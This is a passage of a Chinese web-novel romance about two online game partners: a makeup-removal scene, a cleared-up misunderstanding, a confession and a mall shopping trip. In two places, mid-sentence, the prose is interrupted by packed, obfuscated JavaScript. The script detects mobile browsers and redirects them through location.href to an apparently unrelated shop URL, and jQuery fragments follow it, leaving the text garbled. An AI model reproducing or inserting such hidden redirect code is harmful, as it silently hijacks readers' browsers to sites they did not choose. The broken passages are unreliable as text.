顾妄顿住。他低头看了一眼许念脸上那团乱七八糟的睫毛膏,又看了一眼手里的毛巾,眉头拧得很紧。 许念被他看得有点心虚,忍不住在心里想:完了,他肯定觉得我很麻烦。 下一秒,顾妄已经掏出手机,低头飞快敲了几下。他站起身,把手机塞回口袋,丢下一句:“乖乖等着。”话音落下,人已经转身往外走。门关得不算轻,震得许念心里一跳,连眼泪都被吓得停了一下。 房间重新安静下来。许念坐在床上发了一会儿呆,开始认真思考要不要趁现在跑路。他摸了摸枕头边,找到手机,按了一下,黑屏。没电关机。 许念又看了一圈四周。这地方他完全不认识,也不知道门外是什么情况。想了半天,最后还是没敢动,只能老老实实坐在床上,一边胡思乱想,一边等人回来。 没过多久,门又被推开了,顾妄拎着一个袋子走进来。他先进洗手间洗了手,回来把袋子放在床头,从里面拿出一瓶眼部卸妆液,又抽了几张化妆棉浸湿。 顾妄俯下身,手指托住许念的脸,把化妆棉轻轻按在他眼尾。动作明显很生疏,但很小心。一点一点把晕开的睫毛膏擦掉,化妆棉换了一张又一张,指尖离得很近,却始终避开眼睛。 许念愣了一会儿,小声开口:“你……” “问了导购怎么用。”顾妄头也没抬。 许念低头看了一眼袋子上的logo,声音更小了:“你干嘛买这么贵的……” 袋子里不光有眼部卸妆液,还有卸妆膏和一整套护肤品。 顾妄把用过的化妆棉丢进垃圾桶:“随便拿的。” “哦。”许念应了一声,低头看着自己的手指,心里刚刚那点乱七八糟的期待又被他自己按回去了。 顾妄却忽然抬头看了他一眼:“我说我女朋友需要卸妆。” 他说完又低头换了一张化妆棉。 “要最好的。” 4. 素颜姐姐 房间一下子安静下来。 许念愣在那里,耳根一点一点烧起来,顾妄像什么都没发生一样,继续给他擦另一只眼睛。 许念被“女朋友”三个字砸得心跳紊乱。他垂着眼睫,感受着化妆棉的触感,沉默了一会儿,他还是小声开口:“那你昨天……干嘛还和别人双排?” 顾妄手上的动作停了一下,他抬眼看他:“什么双排?” 许念吸了吸鼻子,小声翻旧账:“就那个风女。你用韩服大号陪她打匹配,全网都看见了。你还说你没带妹……” 顾妄看着他,眉头慢慢皱起来:“风女?” 许念点头,声音越说越委屈:“就那个韩服号。你不是从来不用那个号打匹配的吗?结果昨天还陪她打了好几把……” 顾妄盯着他看了两秒,忽然低声骂了一句:“操。”他把化妆棉丢进垃圾桶,伸手抓过手机,低头翻了两下,懒得再跟这条笨鱼废话,直接点开一个聊天框,把屏幕递到许念面前。 对话框的备注写着:hxg-feiyang,HXG战队的AD,他们的聊天记录只有几行: 【feiyang:兄弟,借你号打两把?】 【顾妄:?】 【feiyang:这边来了个新辅助】 【feiyang:想秘密试训下】 【feiyang:你号分高,不容易被粉丝认出来】 【顾妄:1】 许念盯着那几行字看了半天,脑子慢慢转过弯。职业战队试新人,经常会找高分路人号打几把。用职业选手自己的号太容易被人盯上,一旦被ob扒出来,很快就会传开,容易被带节奏。顾妄的号分高,又不是职业选手,借来打几把最安全。 许念:“……” 顾妄把手机收回来,语气冷得不行:“现在明白了?” 许念整个人僵在被子里,脑子里只剩下一个念头:完了。 顾妄这边显然不打算放过。他点开手机递到许念面前,微信聊天框最上面是一行系统提示:【消息已发出,但被对方拒收了】。他手指往下一滑,通话记录一整排铺开,未接通的电话一个挨着一个,从昨天早上一直排到晚上。 许念盯着那串数字看了好一会儿,喉咙像被什么卡住了。他抓着被角,小声挤出一句:“……我以为你在带妹。” 顾妄把手机收回来,看着他:“所以你一句都不问,就把我拉黑?” 许念低着头,把被子往上拉了一点,没有回答。 顾妄往前走了一步:“然后跑去酒吧。” 许念还是不说话,整个人缩得更小。顾妄看了他两秒,伸手把他拉到胸口的被子往下扯了一截。 许念一下子抬头:“你干嘛!” 顾妄低头看着他:“你说我带妹。”他停了一下,“那你这算什么?” 许念张了张嘴,话却卡在喉咙里。 顾妄的视线往下落了一眼,又回到他脸上:“穿成这样去酒吧。” 许念的脸一下子烧起来。他刚想解释,顾妄已经伸手托住他下巴,把人抬起来一点。许念被迫对上他的眼睛,呼吸一下乱了。 “许念,”顾妄盯着他,“你把我当什么?可有可无的网恋对象?” 许念愣住了。本来还想嘴硬,可眼眶先红了。他张了张嘴,半天只挤出一句:“……不是。” 顾妄没有松手,只看着他。 许念被看得发慌,眼泪又往下掉。他抬手去擦,语无伦次地解释:“我不是故意穿成这样去酒吧的……我是在家弄了很久,本来是想见你的。” 他说到这里声音就小了下去:“裙子也是给你看的。” 顾妄的手指顿了一下。 许念索性破罐子破摔,一口气全倒出来:“我那天早上看见你大号在排位,还跟那个风女一起,我就气死了。我本来想问你,可是又不敢——” 顾妄皱了下眉:“不敢问什么?” 许念低着头,手指把被角攥得发紧:“我怕你真的在带妹。”他说完吸了下鼻子,眼泪又往下掉,“我就想着删了算了。只要看不见,就当什么都没发生。” 顾妄没有接话。他站在床边看着许念,过了一会儿,从床头抽了张纸巾,按到他眼睛上,把他胡乱擦脸的手挡开:“别揉。纸巾在眼尾轻轻压了一下,“妆没卸干净。” 许念被这一按,眼睛眨了眨,抬头看他。睫毛湿成一撮,眼眶红得厉害。 顾妄低头看着他,被他这副样子弄得有点没办法,最后只低声叫了一句:“姐姐。” 顾妄把纸巾往他眼角又按了按,语气里带着点无奈:“你是鱼还是水龙头?” 许念怔住。 顾妄把纸巾拿开,指腹顺手蹭掉他眼尾那点水痕:“怎么这么会哭。” 许念脸更热了,干脆把脸埋回被子里,小声嘟囔:“……谁让你凶我。” 顾妄看着那团被子动了动,伸手又把被子往下拉了一点。 许念立刻抬头:“你干嘛!” 顾妄看着他:“不是说打扮了给我看。”他的目光往下落了一下,又抬回来,“我还没看清。” 许念反应过来整个人瞬间炸毛,往后缩了一点,又把被子死死拉回胸口:“你别乱说。” 顾妄站在原地没动,只看着他:“话是你说的。” 许念张了张嘴,又把话咽回去。他原本想的是第一次见面那种不经意的打量,哪会像现在这样,被人盯着还要认真看。越想越羞耻,他只露出一双眼睛,小声嘀咕:“那也是……昨天的事了。” 顾妄看着他:“昨天的就不算数了?” 许念被问住了,半天才挤出一句:“反正现在不算。” 顾妄伸手过来,许念条件反射往后一躲。那只手却只是擦过他脸颊,把那点没卸干净的眼线抹掉。顾妄把手在纸巾上随手擦了擦,抬眼看他:“哭成这样。” “就因为我跟别人打了两把匹配?” 许念低下头,小声说:“不是。” 顾妄看着他。 许念抓着被角,声音更低了:“是我以为你不要我了。” 房间忽然安静下来。 顾妄盯着他看了两秒,往前一步,把人从被子里带出来一点。“你脑子里都在想什么。” 许念张了张嘴,却说不出话。 顾妄把手机点亮,在他眼前晃了一下。那一排未接通的电话还在。 “微信拉黑,电话不接。” 他把手机收回去:“我看你才是真的不想要我了。” 许念被说得心虚,小声辩解:“我没有……” 顾妄没有再继续追问,只把旁边那袋东西拎起来塞进许念怀里,许念下意识抱住。 他站起身,把床头那杯水往他手边推了推:“先喝点水。” 许念愣愣地喝了一口,顾妄已经走到门口:“去洗漱。”顾妄没回头,手插在卫衣兜里,“牙刷和毛巾都是新的,在洗手间台面上。” 他说完拉开门。临出门前回头看了他一眼:“裙子挺好看。”门快合上时,又丢下一句:“以后别穿去酒吧。” 许念抱着那袋瓶瓶罐罐坐在床上,心跳乱得不行。 关上门,他站在洗手间的镜子前,看着镜子里那个眼眶微红、假发也有点歪掉的自己,忍不住重重叹了口气。顾妄刚才那句“我女朋友”像带了立体声环绕似的在脑海里循环,尤其是那句理直气壮的“要最好的”。 许念一边拆卸妆膏,一边悲观地预演未来:要是哪天顾妄发现他单方面认证的"女朋友",其实是个带着他俯冲翡翠局的男大学生……拉黑删除估计都是最轻的。说不定还会把聊天记录截图挂上虎扑或者NGA,让他作为“年度最离谱网恋翻车现场”的主角被竞男们反复鞭尸。 正发着愁,门板被轻轻敲响。顾妄的声音隔着门板传进来:"衣服放门口了。那条裙子勒不勒?洗完换上。" 许念屏住呼吸,等脚步声走远,才小心翼翼地推开门缝。门口摆着叠得整齐的灰色卫衣和一件新T恤。旁边……是一排横跨了XS到XL、品牌各异的女士内裤和安全裤。许念盯着那一排内裤,脑海里瞬间浮现出顾妄面无表情站在柜台前,因为拿不准尺寸,干脆把能买的都打包回来的画面。他简直不敢想象导购当时的表情。这人……是真的不知道世上有种东西叫一次性内衣吗? 许念耳根红得滴血,对着空气小声骂了一句:“笨蛋。” 他拎起那件灰色卫衣比划了一下。显然是顾妄私服,oversized款式。许念盯着镜子里那条勒得要命的小黑裙看了一会,最后还是认命地摸向了背后的拉链。 二十分钟后,浴室门推开。 许念穿着那件灰色卫衣走了出来。袖口垂落,只露出一点白皙的指尖,宽大的衣摆堪堪遮到大腿中间,很经典的男友卫衣,下衣失踪穿法,视觉冲击力拉满。那双又白又直的长腿毫无遮掩地晃在空气中,线条匀称得让人挪不开眼。 他没再戴假发。柔软的短发带着湿漉漉的水汽,温顺地贴在额前。原本被妆容和假发掩盖的清冷五官彻底显露出来,透着一股易碎感。坐在沙发上刷手机的顾妄闻声抬头,视线撞上许念的一瞬间,他的动作明显僵住。手机还攥在手里,拇指却抵在屏幕上没再动。平时那副拽得二五八万的气场,在这一刻彻底卡了壳。 "你……"顾妄张了张嘴,视线像是被钉了在许念脸上,半晌挪不开。 其实顾妄见过他短发的样子。两人刚加微信那天,这野王就发挥了奥拉夫一级闪现入野的蛮横风格,招呼都不打便弹了视频。许念当时整个人都麻了,正常游戏搭子不都该先互发表情包、熬成固玩、互换精修照骗,最后才小心翼翼视频吗?哪有开局就直接入侵隐私的? 视频接通前,许念对顾妄的预设极其刻薄:要么是靠高分滤镜的歪瓜裂枣,要么就是仗着声音好听、在网上钓富婆投喂的职业小白脸。他虽然不缺钱,但也没打算在这赛博世界里真当大冤种。 许念本想直接挂断,但转念一想:这哥们玩个克格莫,带他这种猫都能一喷五,技术实在太香,且话少不油,不像那些夸两句操作就问他俩孩子叫什么的油腻竞男。于是他抱着“丑就丑吧,大不了互相污染眼睛”的心态接了。反正他长相声线都卡在一种微妙的中性区间,只要不亮身份证,确实很难分辨性别。 结果视频接通,顾妄那张帅得很有攻击性的脸直接占满整个屏幕。 许念沉默两秒,心跳直接漏掉一拍,脑子就一个念头:长成这样你早点说啊。包你也不是不行。 相比许念内心弹幕刷屏的花痴现场,顾妄那边简直冷酷到极点,他挑眉打量镜头那个留着短发,长相清纯的女生: “你是小鱼?” “……嗯。” “哦。” 对话戛然而止,却开启了许念长达数月的帅哥容忍性测试,容忍到每天双排掉分,他也能心平气地继续下一把。 当然,一开始其实也没掉分。小白脸打野是真的猛。刚认识那几天,顾妄处于战神模式,莉利娅和人马一掏就开始打单子。许念很天真,以为自己排到一个带他上分如喝水的野王,结果没过多久,顾妄就毫无预兆地转型。 他不再进野区,开始只玩AD,且只跟许念双排。从那以后,人和鱼一起往翡翠局深处俯冲,顺带被队友举报。 但许念从不觉得是顾妄的问题,他每次都为顾妄那些激进又狂妄的操作着迷,最后水晶爆掉,也只会嘟囔一句“运气不好”或者“队友太菜”,反正战犯绝对不可能是顾妄。 真正让许念彻底堕落的念头,出现在某个深夜的龙团。 那一局顾妄玩的卡莎。刚回城补完大件,装备领先对面一件半,再加上一只猫,算两件半。闪现光盾在手,理论上这波团随便操作。许念暂时挂自家打野身上等猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323612|199095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爬架回来,结果打野走位脱节,被对面抓了个正着,人当场蒸发,只剩一只猫孤零零飘着。一般正常人就会卖猫,拉开阵型在龙坑边拖一拖,等打野复活。 结果顾妄的卡莎直接开E往这边赶,E结束,人还没到,立马交闪。核心位移技能全用完,只为接猫。猫回身上时,顾妄在语音里冷淡地丢下一句“走了”,与此同时,队友因为他这个色令智昏的舔妹闪现,开始疯狂弹钢琴,字里行间全是祖安的亲切问候。 “带妹狗滚可以吗” “举报ad” “adnmsl” “ad滚去玩奥恩啊,纯血沸羊羊玩什么卡莎?” 许念坐在屏幕前,看着队友弹奏的优美钢琴曲,他突然冒出一个念头:要不……干脆当一回富婆姐姐算了?弟弟这长相,这全网罕见的护短技术,哪怕天天带着他俯冲黑铁,好像也不亏。 也就是在那一刻,许念意识到,事情好像真的不太妙。 回过神来,现实里的顾妄还在看他。那眼神太有攻击性,许念被盯得发虚,脑子里飞快复盘了一遍两人第一次视频的画面,确认对方见过自己短发素颜且反应淡定,这才勉强稳住。他指尖不自觉地攥紧卫衣袖口,索性破罐子破摔地站在那儿,像个等待开审的嫌疑人。 顾妄盯着他,眉头微微皱着,像是遇到了什么世纪级别的逻辑Bug。过了两秒,他终于开口,语气里带着一丝费解:“你干嘛把自己化丑?” 许念:"?" 这句话像块板砖,精准拍在他脑门上,震得他怀疑人生。 丑? 为了这次奔现,他这一个月的护肤强度堪比期末复习周。面膜眼膜轮着上,身体乳都空了两瓶甚至还去挑战了丽珠兰黑盒,4cc,手针。针头扎进皮肉时疼得他灵魂出窍,全靠捏着小猫捏捏,心里默念着“要见顾妄”才硬熬下来。那种酷刑程度,容嬷嬷看了都得反省业务水平。 当时医生还温柔地骗他:“放松,打完你就不后悔了。” 结果针扎完了,钱确定退不掉了,销售才诚恳地开口:“其实以你的皮肤条件,不做也行,这次就当体验一下网红项目吧。” 许念当时就想从床上跳起来打12315投诉。刚才怎么不说?早说他直接把这笔钱省下来给顾妄买新皮肤了。但来都来了,他还是咬着牙把脖子、手背和肩膀全补了一轮美白水光,只为了奔现那天能呈现出那种干净、透亮、像刚剥壳鸡蛋一样的皮肤质感。简单来说就是—— 看起来哪里都很好亲 结果现在,这个让他折腾了一个月、还差点被那条小黑裙勒断气的疑似网恋对象,盯着他的脸,给出的评价居然是丑? 许念忍不住回想起刚才洗手间镜子里的自己。虽然眼妆因为宿醉稍微晕了一点,假发也乱了,但无论从哪个角度看,都跟"丑"这个字完全沾不上边。 顾妄显然完全没察觉到某人的怒火已经进入倒计时。他整个人陷在沙发背里,视线从许念光洁的额头掠过,停在那双小鹿眼里,又慢慢往下,描摹这张素颜的脸。他确实见过许念短发素颜的样子。但那之后,许念每次视频都会全副武装:假发、眼妆、腮红,一个不落。那时候顾妄只觉得,小鱼确实挺漂亮。 但现在不一样,脱离了像素和妆容,他才真正看清这张脸。皮肤冷白细腻到近乎透明,连颗痣都找不到,浅棕色的瞳仁又圆又亮,睫毛长得离谱。尤其是那双天生透着粉色的唇,带着软糯的肉感 ……让人很难不想按住了亲下去。 顾妄忽然有点庆幸,许念昨晚是化了浓妆去酒吧的,就这样都一堆人盯着看,要是素颜过去…… 许念被他盯得浑身不自在,终于忍不住小声问:"……你看什么?" 顾妄这才勉强回过神,往沙发里靠了靠,语气一如既往的拽:“没什么。”他似乎是认真对比了一下,又补了一句,“比昨天顺眼多了。” 许念额角的青筋轻轻跳了一下。这人居然还没完了?一而再、再而三地否定他的审美和努力。 "我昨晚是多碍你眼啊?"许念气笑了,"难为你了,这么碍眼还一路把我带回家。其实也不用这么麻烦的,我让陈——" 话没说完,顾妄已经站了起来,两步就走到他面前,两人的距离瞬间拉近。 "我什么时候说你碍眼了?" 许念刚要反驳,顾妄已经抬起手,指尖在他脸侧轻轻点了一下。 "我的意思是,”他说,“你现在更好看。" 许念愣住。 顾妄的视线移开了一瞬,很快又落回来。 "昨天的妆,"他声音放低了一点,"有点多余。" 许念抿着唇没说话。 顾妄看着他,语气近乎坦白:“素颜比较要命。” 许念脸瞬间变粉,他有些心虚地瞪了顾妄一眼,虚张声势地嘟囔:“谁要你对比评价了?显着你了是吧?” 顾妄忽然笑了一下:“不是你让我看的吗?裙子……不是特意穿给我看的?” “你闭嘴!”许念整个人瞬间从头粉到脚,恨不得当场原地消失 。 顾妄伸手拽住那件灰色卫衣的袖口,轻轻往自己这边一拉。许念脚下一晃,猝不及防地往前栽了一步,鼻尖差点撞上顾妄的下巴。他下意识想往后退,顾妄却顺势环住了他的手腕。两人离得极近,呼吸严丝合缝地交叠。 “别气。”顾妄抵近他的额头,眼底藏着让人心慌的专注,“刚才,是真的看愣了。” 许念僵在原地,盯着近在咫尺的那张帅脸,脑子里反复重播着那句“看愣了”。等那股热气从心口烧到脸颊,他立刻低头,整个人从脖颈一路粉到了耳尖。 他在心里暗暗松了口气:幸好当时忍痛把水光全打完了,原来顾妄喜欢这种。 可紧接着,他又想起自己家里那堆美妆产品。 那这些东西怎么办? 转二手吗? 5. 装酷弟弟 许念低着头,心思却完全不在眼前,反而一直在家里那堆美妆产品上打转。到底是先全塞床底,等哪天东山再起;还是干脆一键打包挂闲鱼,从此洗心革面,转型成直男审美认证的清纯小白花? 他纠结得太认真,压根没发现顾妄的视线已经在他嘴唇上停了很久。离近了看,那双唇实在有点犯规。肉肉的,颜色又是天生的嫩粉,像那种一咬就会爆浆的软糖。顾妄盯着那一点粉色,心里莫名有点烦躁。再这么看下去,他可能真会低头试一下,看看是不是跟想的一样软。 顾妄皱了下眉,下一秒直接伸手扣住许念的手腕,把人往餐桌前带:“先吃饭。”桌上摆着蓝莓芝士贝果和热水牛乳拿铁。许念愣了一下,这是他之前连麦时随口提过一次的本命早餐。那会儿他自己也就是深夜嘴馋,没想到顾妄竟然记住了,还真给他买了回来。许念低下头,想找个话题把这股越来越暧昧的氛围冲散,结果一张嘴就踩雷:“你……为什么买那么多内衣?” 顾妄拉开椅子坐下,两条长腿懒洋洋支着,神情平静得像批发几十条女士内裤是他每天的固定行程:“问了导购。她说不同牌子的版型和舒适度不一样。”说到这儿,他抬眼看了许念一眼:“我不知道你平时穿哪个号,就都买了。” 许念:“……” 他干巴巴地憋出一句:“……谢谢,你有心了。” 话一出口,许念就想立即撤回。什么叫你有心了?听着活像在给年度最佳变态颁奖。空气一下子更诡异了。刚才还只是暧昧拉扯,现在已经拐进了奇怪的赛道。 顾妄却像没觉得哪里不对,只“嗯”了一声,低头咬了口贝果,下一秒眉头就皱了起来:太甜了。他面无表情地把贝果放回去,撤退得十分果断。 许念悄悄抬眼,视线在顾妄脸上转了一圈,又在他抬眸前飞快缩回,低头假装认真抿奶泡。其实他还有很多话想问:想问顾妄昨晚满城找了他五个小时,到底只是气不过,还是……真的在意。也想问那句“我女朋友”,到底是随口一说,还是已经在心里给他盖了章。可那些话在喉咙口来回滚了几圈,最后还是跟那口咖啡一起,被他硬生生咽了下去。 “怎么说?”顾妄忽然开口。 许念像只被踩了尾巴的猫,差点把咖啡呛进气管:“什、什么?” “做我女朋友。”顾妄往椅背上一靠,语气十分随意:“我以为你早就是了,但刚才想了一下,好像确实还没正式问过你。” 许念的咖啡杯抖了一下。大脑一片空白,只剩下一句话在无限循环:这下是真的要当富婆姐姐了。 他猛地灌了一口咖啡压压惊,声音小得像蚊子哼哼:“……你不是早就默认了吗。” 顾妄抬眼看他。 许念被盯得心虚,硬撑着补了一句:“我是说——你从头到尾,根本就没给我拒绝的机会。” 顾妄沉默了一秒,低低“嗯”了声。 “现在给你。” 他往椅背上一靠,手臂懒洋洋抱在胸前,语气拽得理直气壮:“你拒绝一个试试。”话说得嚣张,眼睛却一眨不眨地盯着许念,像是生怕他下一秒真蹦出一句“不愿意”。 许念:“……” 要命。 这种死撑着装拽的男高,姐姐根本顶不住。 他根本扛不住顾妄这么盯,只能低头,对着贝果狠狠咬了一大口。偏偏今天遇上芝士侠,一口下去,里面的芝士当场越狱,直接蹭到了他嘴角。许念嘴里塞得鼓鼓囊囊,像只偷吃被抓包的小仓鼠,连说话都含含糊糊:“……那我不拒绝。” 话音刚落,顾妄忽然倾身过来,温热的指腹擦过他嘴角,揩掉那点芝士。擦完后,顾妄却没立刻收手,拇指顺势压在他唇上,轻轻碾了一下。 许念整个人都僵住,连呼吸都停了一拍。 顾妄垂着眼看他,停了两秒,才慢悠悠收回手,重新靠回椅背,语气懒洋洋的:“算你识相,姐姐。” 许念:“……” 他大脑当场一片空白,CPU差点直接烧穿。 偏偏罪魁祸首还跟没事人一样,重新拿起刚才嫌太甜的贝果,面不改色地咬了一口。还是那副冷冷淡淡的酷哥样,如果忽略他已经红透了的耳根的话。 许念根本不敢抬头,只能抱着咖啡猛吸,试图让自己冷静一点。可咖啡刚入口,脑子里就开始疯狂回放刚才那一下,循环得比短视频洗脑神曲还勤。攻势实在太猛,扛不住,根本扛不住。 对面,顾妄慢条斯理地嚼着贝果,视线又不自觉地飘向许念的嘴唇,停留一瞬后强行收回,垂下眼,若无其事地摩挲了一下指腹。 软得离谱。 ……确实跟看起来一样。 吃完饭,顾妄以一句“天气太冷,非法露腿”为由,直接把专车叫到了楼下。下车时,他站在车门旁,侧过身,朝许念伸出一只手。许念愣了一下,那只手就停在两人中间,不催,也不说话,耐心里又带着不容拒绝的强势。许念低下头,试探着把手搭了上去。下一秒,顾妄五指一收,干脆利落地扣住了他,掌心的温度顺着指尖一路窜上来,许念心口莫名跟着一跳。 万象城刚开门不久,空气里飘着一股冷调香氛,闻着就很贵。周末的人潮慢慢涌起,两个人刚一进去,周围视线就开始有意无意地往这边偏。 实在太扎眼了。顾妄个高腿长,许念清纯漂亮。顶帅牵着顶美,自带聚光灯效果。顾妄却像没察觉似的,牵着他径直往里走,目不斜视,步子迈得又稳又快。许念被他拽着往前,脑子还有点发懵,只剩一个念头在里面来回刷屏—— 这弟弟的行动力,是不是有点太超标了? 前脚刚确认关系,后脚十指紧扣就安排上了,还是在大庭广众之下,拽得跟二五八万似的,仿佛牵着他是什么值得昭告天下的大喜事。 直到顾妄把他拐进一家品牌店,许念才猛地回过神。他抬起头,正好撞见落地窗里的倒影:高高瘦瘦的男生一只手插在口袋里,另一只手却牢牢扣着身边的人,牵得稳稳当当,半点没有要松开的意思。 许念盯着那道影子看了两秒,后知后觉地想起顾妄那间地段逆天的大平层、那几大袋名牌内衣,还有那套贵得离谱的护肤品。一个迟到很久的念头,终于慢吞吞浮上来:这个弟弟,好像根本不需要姐姐包。严格来说,比较像他快被弟弟打包带走了。 在顾妄的眼神压制下,许念只能老老实实和一大堆裤子一起在试衣间坐监。罪名简单粗暴,非法露腿。且被告不享有申诉权,当庭宣判,立即执行。 许念这双腿纯属女娲毕设级建模,白细长直。一路试下来几乎零翻车,店员站在旁边夸得词汇量都快见底了,眼神里写满了“这腿一定要记得上保险”。 最后试的是一条黑色紧身牛仔裤。许念自己其实觉得这版型实在有点过时。可偏偏配上身上那件顾妄的炭灰色卫衣,效果居然出奇地好。上松下紧,衬得那双腿又直又细,线条漂亮得过分。谁盯着多看两眼,脑子里大概率都会很不文明地冒出三个字:腿玩年。 顾妄站在不远处,漫不经心地扫过来一眼,视线在他腿上停了半秒,脸上还是那副冷淡的样子,开口却很干脆:“就穿这条。”说完顿了顿,又补了一句:“剩下的也包起来。” 许念张了张嘴,最后还是很识时务地把话咽了回去。其实刚把这条裤子穿上时,他心里就已经隐隐有数了,顾妄绝对吃这一套。这弟弟的审美吧,怎么说呢—— 直男,且稳定发挥;霸道,且不容反驳。 正准备去结账,顾妄的视线忽然往下一落,精准钉在许念露在外面的脚踝,和那双薄得仿佛聊胜于无的乐福鞋上,新的消费需求瞬间生成。一旁待命已久的导购Mia也几乎同步进入战斗状态。 “这种天,你就穿这种底的鞋?”顾妄皱起眉。 许念支支吾吾半天,结果一个字都没蹦出来。他穿这种几乎和Vibram五指鞋一样平的超薄平底鞋,完全是一片良苦用心。 奔现之前,他特地拐弯抹角套过顾妄的身高,得到的答案是“188左右”。但许念对男生报身高这件事,一向持保留意见。毕竟男生的身高,水分堪比主播的美颜。陈逸那种更是典中典,常年踩着巴黎世家和鞋垫做人,裸高和上报数据根本不是一个物种,活得像个行走的统计学误差。 万一顾妄也是这种被鞋底和增高垫哄大的弟弟,时间久了连自己都骗过去了,真情实感地相信自己有188。结果一见面,反被许念当场超车,那画面简直社死得能直接载入男高的人生黑历史。他还想跟这个弟弟继续处下去,不想刚见面就把人尊严创飞,然后弟弟启动防御机制,删除拉黑一条龙。 思来想去,许念最终决定牺牲自己的脚底,咬牙选了双超平底款,准备靠欣赏帅哥的脸硬扛寒风和地砖的双重冰镇,只为保住顾妄的男高自尊。 结果现在站到顾妄旁边,许念先看了眼顾妄那双笔直的长腿,又低头看了眼自己脚上那双鞋,彻底沉默。 ……好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323613|199095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他这波纯属多此一举。提前共情,结果共情了个寂寞。 Mia显然是店里的销冠预备役,不,可能已经是现役销冠。电光火石之间,她已经精准抱来了和顾妄脚上同系列的女款,连尺码都报得分毫不差:“39码对吧?这款刚好和先生的是一对。” 许念:“……” 他人瘦,骨架又小,平时穿搭本来就经常男女混穿,可即便如此,被人一眼望脚知码,还是让他有种微妙的震撼。许念盯着Mia,心想这哪是导购,这分明是火眼金睛转世,业务能力离玄学只差一步。 上有微笑销冠贴心服务,下有霸道弟弟堵死退路,许念最后只能认命地把脚塞进那双昂贵的鞋里。他甚至还没来得及站起来走两步,看看上脚效果,顾妄那张卡就已经稳稳递了出去。Mia眼睛一亮,笑容满面,接卡、刷卡、过机,一整套动作行云流水,丝滑得像开了倍速。大清早刚开门就撞上这种不看价签直接刷的富哥,简直是开门红本红,财神爷为了泡妹亲自下凡。祝这对金童玉女百年好合,常来,常买,常消费。 许念:“……” 这两人真的绝了。顾妄韩服千分,手速快也就算了;但Mia这过卡速度,真的很适合去电竞圈试试水。没准真是块被导购事业耽误的峡谷璞玉,再在万象城待下去,多少有点选错职业赛道。 买完这一大堆东西,许念说什么都要把顾妄往外拽。他现在看顾妄都像看行走的人形消费雷达,生怕这人原地一扫描,又精准捕捉到什么“新的消费需求”,然后面不改色地继续刷卡。 许念走在旁边,整个人已经有点心如死灰。来之前,他认真做过一整套奔现预案,从见面吃什么到怎么自然买单,把“包养男高”这剧本在脑子里演练过好几轮。结果现实给了他当头一棒。别说包弟弟了,他现在根本就是被弟弟从头包到脚,包得明明白白,连富婆最后那点体面都碎得拼不起来。 最憋屈的是,他唯一的钱包,现在还安安静静躺在顾妄家床头柜上充电。……要是手机在手,他刚才高低得抢单,绝不会给顾妄半点发挥空间。毕竟他这“姐姐女朋友”的身份,本来就有点来路不正,半哄半骗,越想越像杀猪盘。现在倒好,不仅把弟弟的心骗到手,还让人家弟弟反向疯狂爆金币。 这算什么?杀猪盘界扛把子,骗子行业年度销冠。 ……可问题是,他是真的喜欢顾妄。 喜欢到越被对方认真对待,越觉得胸口发闷,尤其一想到自己还瞒着顾妄那件事。 他哪是什么杀猪盘之光,他分明就是动了真心以后,连骗人都骗得很狼狈的骗子。 许念一边走,一边在心里疯狂忏悔。偏偏顾妄明明刚给他买完一堆东西,神色却还是如常,仿佛只是顺手处理了件小事,浑身上下都写着一句话:老子有的是钱,你少露点腿就行。 许念本来还在认真反省自己骗财骗心,余光一扫到他这副拽得二五八万的样子,脑子里又不受控地冒出一句—— 完了,这弟弟也是真的陷进去了。 许念:“……” 可恶。 居然还有点帅。 他正琢磨着,回头到底该怎么把钱神不知鬼不觉地还给这个霸道弟弟,还得保证不会被当场退回,耳边忽然飘来几声意味深长的口哨。 “哟,这不是顾少吗?” 许念循声看过去,就见不远处站着三个穿得很潮的男生,正一脸看热闹不嫌事大地朝这边挤眉弄眼,手上还附赠了几个极其中二的点赞手势。不用介绍都看得出来,八成是顾妄那帮朋友。 顾妄连眼皮都懒得掀,脸上明晃晃写着四个大字:莫挨老子。别说停下来寒暄,他连敷衍打个招呼的意思都没有。那几个人的视线刚落到许念身上,他就反手扣住许念的手,五指强势地挤进指缝里,干脆利落地扣成了十指紧握。 许念的脸几乎是瞬间烧了起来,心跳快得发慌,像是下一秒就要当场从嗓子眼里蹦出来。他下意识想挣一下,可手上刚动了动,又没真舍得使劲。 ……不是。 这弟弟到底怎么回事? 网上一副高冷拽王、生人勿近的样子,现实里却黏得离谱,牵手就算了,现在还当着朋友的面直接升级十指紧扣,连一点害羞两个字怎么写都不知道。 许念被他扣着手往前带,耳根热得发烫,脑子里只剩一个乱七八糟的念头—— 顾妄这哪是在秀恩爱,这分明是在巡视领地,顺手给自己的所有物打上标记。 6. 恋爱观察团 李青杨、沈嘉行、许同安,顾妄那帮狐朋狗友里的三大祸害,齐齐现身万象城,理原因很简单:围观顾妄谈恋爱。 李青杨因为gap了一年,痴长一岁,手握驾照,昨天临危受命,荣升顾妄专车司机,于是顺理成章,成了唯一一个吃到第一手大瓜的人。这种级别的瓜,他根本憋不住一秒。顾妄前脚抱着人进电梯,他后脚刚坐回驾驶座,就在兄弟群里激情复盘了快四十分钟。 内容非常完整。从顾妄被拉黑以后那张死人脸,到他怎么翻了个底朝天似的满城找,再到最后,怎么在酒吧里把人从别的男人旁边强行抱走,李青杨讲得唾沫横飞,一个细节不落,还添油加醋复盘了三遍。 